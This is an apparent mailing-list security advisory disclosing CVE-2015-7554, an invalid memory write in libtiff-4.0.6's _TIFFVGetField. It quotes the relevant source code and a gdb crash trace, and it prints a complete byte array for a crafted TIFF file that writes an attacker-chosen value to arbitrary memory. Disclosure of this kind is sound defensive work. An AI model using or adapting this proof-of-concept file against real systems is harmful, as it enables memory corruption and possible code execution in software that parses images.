[<prev] [next>] [day] [month] [year] [list]
Message-ID: <m1a8oxqicf.darpa@darpa.mil>
Date: Sat, 26 Dec 2015 23:34:40 +0700
From: Hans Jerry Illikainen <hji@...topia.com>
To: bugtraq@...urityfocus.com, fulldisclosure@...lists.org, oss-security@...ts.openwall.com
Subject: libtiff: invalid write (CVE-2015-7554)
`_TIFFVGetField()' in libtiff-4.0.6 may write field data for certain
extension tags to invalid or possibly arbitrary memory.
Each tag has a `field_passcount' variable in their TIFFField struct:
tiff-4.0.6/libtiff/tif_dir.h #276..289:
,----
| struct _TIFFField {
| uint32 field_tag; /* field's tag */
| short field_readcount; /* read count/TIFF_VARIABLE/TIFF_SPP */
| short field_writecount; /* write count/TIFF_VARIABLE */
| TIFFDataType field_type; /* type of associated data */
| uint32 reserved; /* reserved for future extension */
| TIFFSetGetFieldType set_field_type; /* type to be passed to TIFFSetField */
| TIFFSetGetFieldType get_field_type; /* type to be passed to TIFFGetField */
| unsigned short field_bit; /* bit in fieldsset bit vector */
| unsigned char field_oktochange; /* if true, can change while writing */
| unsigned char field_passcount; /* if true, pass dir count on set */
| char* field_name; /* ASCII name */
| TIFFFieldArray* field_subfields; /* if field points to child ifds, child ifd field definition array */
| };
`----
For example:
tiff-4.0.6/libtiff/tif_fax3.c #1139..1141:
,----
| static const TIFFField fax3Fields[] = {
| { TIFFTAG_GROUP3OPTIONS, 1, 1, TIFF_LONG, 0, TIFF_SETGET_UINT32, TIFF_SETGET_UINT32, FIELD_OPTIONS, FALSE, FALSE, "Group3Options", NULL },
| };
`----
However, `field_passcount' is always assigned TRUE if the tag is
processed by `_TIFFCreateAnonField()'. This happens on unsuccessful
invocations of `TIFFReadDirectoryFindFieldInfo()':
tiff-4.0.6/libtiff/tif_dirread.c #3396..4076:
,----
| int
| TIFFReadDirectory(TIFF* tif)
| {
| [...]
| TIFFReadDirectoryFindFieldInfo(tif,dp->tdir_tag,&fii);
| if (fii == FAILED_FII)
| {
| TIFFWarningExt(tif->tif_clientdata, module,
| "Unknown field with tag %d (0x%x) encountered",
| dp->tdir_tag,dp->tdir_tag);
| /* the following knowingly leaks the
| anonymous field structure */
| if (!_TIFFMergeFields(tif,
| _TIFFCreateAnonField(tif,
| dp->tdir_tag,
| (TIFFDataType) dp->tdir_type),
| 1)) {
| [...]
| }
`----
tiff-4.0.6/libtiff/tif_dirinfo.c #627..719:
,----
| TIFFField*
| _TIFFCreateAnonField(TIFF *tif, uint32 tag, TIFFDataType field_type)
| {
| [...]
| fld->field_bit = FIELD_CUSTOM;
| [...]
| fld->field_passcount = TRUE;
| [...]
| }
`----
If the field for a 1-count extension tag whose `field_passcount' has
been overridden is later read by `_TIFFVGetField()', this happens:
tiff-4.0.6/libtiff/tif_dir.c #823..1145:
,----
| static int
| _TIFFVGetField(TIFF* tif, uint32 tag, va_list ap)
| {
| [...]
| uint32 standard_tag = tag;
| [...]
| if (fip->field_bit == FIELD_CUSTOM) {
| standard_tag = 0;
| }
|
| switch (standard_tag) {
| [...]
| default:
| {
| [...]
| for (i = 0; i < td->td_customValueCount; i++) {
| [...]
| if (fip->field_passcount) {
| if (fip->field_readcount == TIFF_VARIABLE2)
| *va_arg(ap, uint32*) = (uint32)tv->count;
| else /* Assume TIFF_VARIABLE */
| *va_arg(ap, uint16*) = (uint16)tv->count;
| *va_arg(ap, void **) = tv->value;
| ret_val = 1;
| }
| [...]
| }
| }
| }
| [...]
| }
`----
With an invocation of `TIFFGetField()' such as:
,----
| TIFFGetField(tif, TIFFTAG_GROUP3OPTIONS, &dst);
`----
for a TIFFTAG_GROUP3OPTIONS specified as:
,----
| 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41
| ^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^
| tag type count offset/value
`----
the count is written to `dst', whereas 0x41414141 is written to
invalid/arbitrary memory.
Using the included tiffsplit utility as an example:
tiff-4.0.6/tools/tiffsplit.c #157..228:
,----
| static int
| tiffcp(TIFF* in, TIFF* out)
| {
| [...]
| CopyField(TIFFTAG_YRESOLUTION, floatv);
| CopyField(TIFFTAG_GROUP3OPTIONS, longv);
| [...]
| }
`----
,----
| $ gdb -q --args tiffsplit tag.tiff
| Reading symbols from tiffsplit...done.
| (gdb) r
| TIFFReadDirectory: Warning, Unknown field with tag 292 (0x124) encountered.
|
| Program received signal SIGSEGV, Segmentation fault.
| 0xb7f68155 in _TIFFVGetField (tif=0x804d008, tag=292, ap=0xbffff660 "\024\367\377\277\210\366\377\277\200\366\377\277\067\206\004\b0\371\377\267") at tif_dir.c:1056
| 1056 *va_arg(ap, void **) = tv->value;
| (gdb) x/i $eip
| => 0xb7f68155 <_TIFFVGetField+2229 at tif_dir.c:1056>: mov %edx,(%eax)
| (gdb) x/x $edx
| 0x804d670: 0x41414141
| (gdb) x/x $eax
| 0x41410000: Cannot access memory at address 0x41410000
| (gdb)
`----
tag.tiff:
,----
| unsigned char tiff[] = {
| /* little-endian */
| 0x49, 0x49,
|
| /* version */
| 0x2a, 0x00,
|
| /* tif->tif_diroff */
| 0x09, 0x00, 0x00, 0x00,
| 0x00,
|
| /* tag count */
| 0x07, 0x00,
|
| /* tag | type | count | offset/value */
| /* TIFFTAG_IMAGEWIDTH */
| 0x00, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
| /* TIFFTAG_IMAGELENGTH */
| 0x01, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
| /* TIFFTAG_BITSPERSAMPLE */
| 0x02, 0x01, 0x03, 0x00, 0x03, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00,
| /* TIFFTAG_STRIPOFFSETS */
| 0x11, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
| /* TIFFTAG_STRIPBYTECOUNTS */
| 0x17, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
| /* TIFFTAG_YRESOLUTION */
| 0x1b, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00,
| /* TIFFTAG_GROUP3OPTIONS */
| 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
|
| /* tif->tif_nextdiroff */
| 0x00, 0x00, 0x00, 0x00,
|
| /* bits per sample */
| 0x08, 0x00,
| 0x08, 0x00,
| 0x08, 0x00,
| };
`----
This issue has been assigned CVE-2015-7554 and it has yet to be fixed.
--
Hans Jerry Illikainen
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
